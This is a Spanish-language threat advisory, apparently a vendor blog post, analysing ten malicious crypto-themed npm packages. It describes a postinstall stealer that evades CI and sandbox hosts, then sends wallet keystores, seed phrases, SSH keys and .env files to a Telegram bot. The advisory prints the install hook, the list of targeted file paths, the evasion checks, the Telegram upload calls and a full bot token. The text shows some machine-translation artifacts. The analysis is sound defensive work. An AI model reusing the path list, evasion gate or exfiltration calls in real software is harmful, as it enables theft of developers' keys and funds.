SeedSweep: Diez paquetes de criptomonedas maliciosos de npm

SeedSweep: Diez paquetes npm con temática criptográfica que solo se ejecutan cuando nadie te ve.

TL; DR

El 9 de junio de 2026, una única cuenta de editor de npm, aicrypto-xzggg, enviado diez paquetes con nombres con sabor a criptomonedas y Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9y seis más.

Cada paquete ejecuta la misma carga útil desde un postinstall gancho. Al instalarlo, comprueba si se está ejecutando dentro de CI o en un sandbox; si no, lee los almacenes de claves de la billetera, los archivos de frase semilla, las claves SSH y .env Recopila archivos de seis ecosistemas blockchain y los transmite a un bot de Telegram.

El único indicador que un defensor puede buscar de inmediato es el ID del bot de Telegram. 8227918239.

Gravedad: crítico — robo directo de claves de firma y frases de recuperación de estaciones de trabajo para desarrolladores.

El ataque: cómo funciona

Los paquetes se anuncian como utilidades para desarrolladores de blockchain. package.json es mínimo y apunta el ciclo de vida de la instalación a un script:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js es un código auxiliar de una sola línea que carga la carga útil real: require(“../src/index.js”). Porque postinstalación se ejecuta automáticamente durante npm instalarNo es necesario que el desarrollador importe ningún código; basta con colocar el paquete en un árbol de dependencias para ejecutarlo.

La cadena de asesinatos en el interior src / index.js Son cuatro pasos:

  1. Verificación ambiental. Una función de protección decide si el host se comporta como un agente de compilación o como un entorno aislado de análisis.
  2. Retrasar. La ejecución se pospone tras una setTimeout de aproximadamente 7.4 segundos.
  3. Collection. Se recorre una lista fija de rutas de archivos de billetera, clave y Secreto; los archivos existentes se ponen en cola.
  4. Exfiltración. Los archivos en cola se envían a un bot de Telegram, precedidos de un mensaje de resumen.

La lista de objetivos de la colección abarca seis cadenas más el desarrollador genérico Secretos. Recortado:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Veintiún rutas en total. Entradas de directorio como ~/.ethereum/keystore se expanden y cada archivo dentro se pone en cola. La exfiltración utiliza directamente la API del bot de Telegram: un Enviar mensaje llamada con un resumen de host y archivo, luego una enviarDocumento Carga multiparte para cada archivo:

envíenos mensaje de texto

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

El mensaje de resumen que ensambla el código comienza con la cadena literal LADRÓN DE CRIPTOMONEDAS, seguido del nombre de host, nombre de usuario, nombre del paquete de origen, número de archivos y marca de tiempo.

¿Qué hay de nuevo aquí?

La diferencia no radica en el mecanismo de robo: la exfiltración de datos desde npm mediante Telegram. postinstalación hooks es muy transitado. Es el puerta de ejecución. Antes de hacer nada, la carga útil llama a una función que devuelve verdadero cuando el host se asemeja a un ejecutor de CI o un entorno aislado, y regresa anticipadamente cuando lo hace:

envíenos mensaje de texto

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

La expresión regular container-id es la cláusula notable: un nombre de host de 12 caracteres hexadecimales es la forma predeterminada que Docker asigna a un contenedorAsí, la carga útil interpreta que "mi nombre de host parece un contenedor Docker" como motivo para permanecer inactiva. Junto con el retraso de siete segundos, el diseño favorece la ejecución en la estación de trabajo real del desarrollador y el silencio en cualquier lugar que parezca un análisis automatizado. Esa puerta de enlace fue la que suprimió las señales de análisis dinámico y mantuvo el flujo de exfiltración estática como la principal evidencia de condena.

Cronograma

Fecha (UTC) Eventos
2026-06-09 ~02:48 Primeros paquetes del clúster marcados en la publicación (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Los miembros de versiones superiores fueron marcados (ethereum-kit-9 en 1.25.36, wallet-sdk-9 a las 3.7.73)
2026-06-09 ~03:58–03:59 Miembros finales marcados (defi-tools-39 en 4.26.29, swap-sdk-87 en 4.63.78, farming-tools-12 a las 4.68.54)
2026-06-09 Los diez fueron clasificados como maliciosos y se reportaron para su eliminación del registro.

Los diez aparecieron en aproximadamente setenta minutos, lo que concuerda con una única publicación programada desde una sola cuenta.

Indicadores de compromiso

Indicadores de red y de comportamiento (anfitrión neutralizado):

Indicador Valor
Punto final de Exfil api[.]telegram[.]org (API de bot de Telegram)
ID del bot de Telegram 8227918239
Token de bot 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
ID de chat de Telegram 6433587894
Instalar gancho postinstallscripts/postinstall.jssrc/index.js
Cadena marcadora CRYPTO STEALER en el mensaje de resumen ensamblado
Publisher aicrypto-xzggg (correo electrónico indicado) vipsyria88@gmail[.]com(sin verificar)

Paquetes y versiones, cada uno con el SHA-256 de su src / index.js carga útil (las cargas útiles son funcionalmente idénticas y difieren únicamente en la etiqueta del nombre del paquete incrustada, por lo que cada hash es distinto):

html
PREMIUM Versión SHA-256 de src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Una consulta de búsqueda sencilla: busque en los registros de instalación y en los archivos de bloqueo cualquiera de los diez nombres, y busque en el tráfico saliente conexiones a la API del bot de Telegram desde hosts de compilación o de desarrollo que no la utilicen de otra manera.

Atribución y comportamiento observado

Los diez paquetes fueron publicados por una sola cuenta, aicrypto-xzggg, cuyo correo electrónico declarado es vipsyria88@gmail[.]comTanto el correo electrónico como el enlace de control de versiones no están verificados en los metadatos del registro, y la cuenta tiene una reputación muy negativa. No hemos podido confirmar quién gestiona la cuenta.

Hay dos detalles que conviene separar de cualquier afirmación de identidad. Primero, el package.json autor lecturas de campo Alex Smith en cada paquete, mientras que la cuenta de publicación real es aicrypto-xzggg; el campo autor es metadatos autodeclarados y no establece la autoría. En segundo lugar, los números de versión varían ampliamente: algunos miembros se encuentran en 1.0.0, otros en 4.68.54 — lo cual es coherente con la reutilización de una única carga útil en nombres de paquetes recién creados en lugar de mantener historiales de lanzamiento reales.

El comportamiento es uniforme en todo el clúster: la misma lista de rutas de destino, el mismo ID de bot de Telegram y el mismo ID de chat, la misma puerta de entorno, el mismo LADRÓN DE CRIPTOMONEDAS marcador. Esa uniformidad es el vínculo más fuerte entre los paquetes. Es una señal de operador idéntico, no una identidad.

La exposición es concreta. Un desarrollador que instale cualquiera de estos paquetes en una estación de trabajo que contenga una billetera de software, un archivo de frase semilla o una clave SSH, verá esos archivos leídos y transmitidos fuera del host en cuestión de segundos. Las frases de recuperación y las claves de firma no caducan como lo hace un token de sesión; una vez que mnemónico.txt o una Solana id.json cuando la máquina abandona los fondos que controla, estos corren riesgo hasta que se transfieren. La misma ejecución también captura .env archivos que habitualmente contienen claves API y credenciales de base de datos.

Detrás de este fenómeno subyacen dos tendencias. La primera es el uso continuado de nombres relacionados con criptomonedas y Web3 para atraer a un público específico: desarrolladores que guardan sus carteras y claves en la misma máquina donde instalan las dependencias. La segunda es la mejora de las técnicas para evadir entornos aislados en las cargas útiles de instalación. Un mecanismo de verificación que comprueba las variables de entorno de CI, los nombres de usuario de los ejecutores y la estructura del nombre de host del contenedor Docker es un esfuerzo deliberado por comportarse de forma diferente durante el análisis que en una estación de trabajo real, y eleva el nivel de exigencia para la detección puramente dinámica.

Para los defensores:

Instalar con los scripts deshabilitados por defecto. npm install –ignore-scripts, o establecer ignorar-scripts=verdadero in .npmrc, previene postinstalación ejecución; habilite los scripts solo para las dependencias específicas que realmente los necesiten.

Mantén las carteras y las claves de firma fuera de las máquinas de compilación y desarrollo. Utiliza una cartera de hardware o un servidor de firma dedicado y sin dependencias.

Tratar .env, almacenes de claves y archivos de frases semilla como joyas de la corona. Nunca deben estar en un directorio que también sea un npm instalar árbol de trabajo.

Busca conexiones salientes a la API de Telegram Bot desde entornos de integración continua y de desarrollo. La mayoría de los entornos de compilación nunca la llaman; si una lo hace repentinamente, justo después de la instalación, vale la pena investigarla.

Fijar y revisar dependencias. Un paquete completamente nuevo con un nombre criptográfico genérico, un postinstalación gancho, y ningún enlace de repositorio justifica una revisión antes de entrar en un archivo de bloqueo.

La cláusula de evasión del ID del contenedor también sirve como recordatorio para los analistas: una carga útil de instalación que permanece inactiva en un entorno aislado no es inofensiva, sino selectiva. La revisión estática de la ruta de instalación sigue siendo la forma fiable de ver qué información podría mostrar la ejecución dinámica.

Referencias

Documentación de npm install: scripts de ciclo de vida y –ignorar-scripts— Referencia para deshabilitar la instalación automática hooks. 

sca-tools-software-herramientas-de-analisis-de-composicion
Priorice, solucione y proteja sus riesgos de software
Obtén tu cuenta gratuita.
Sin tarjeta de crédito.

Asegure el desarrollo y entrega de software

con la suite de productos Xygeni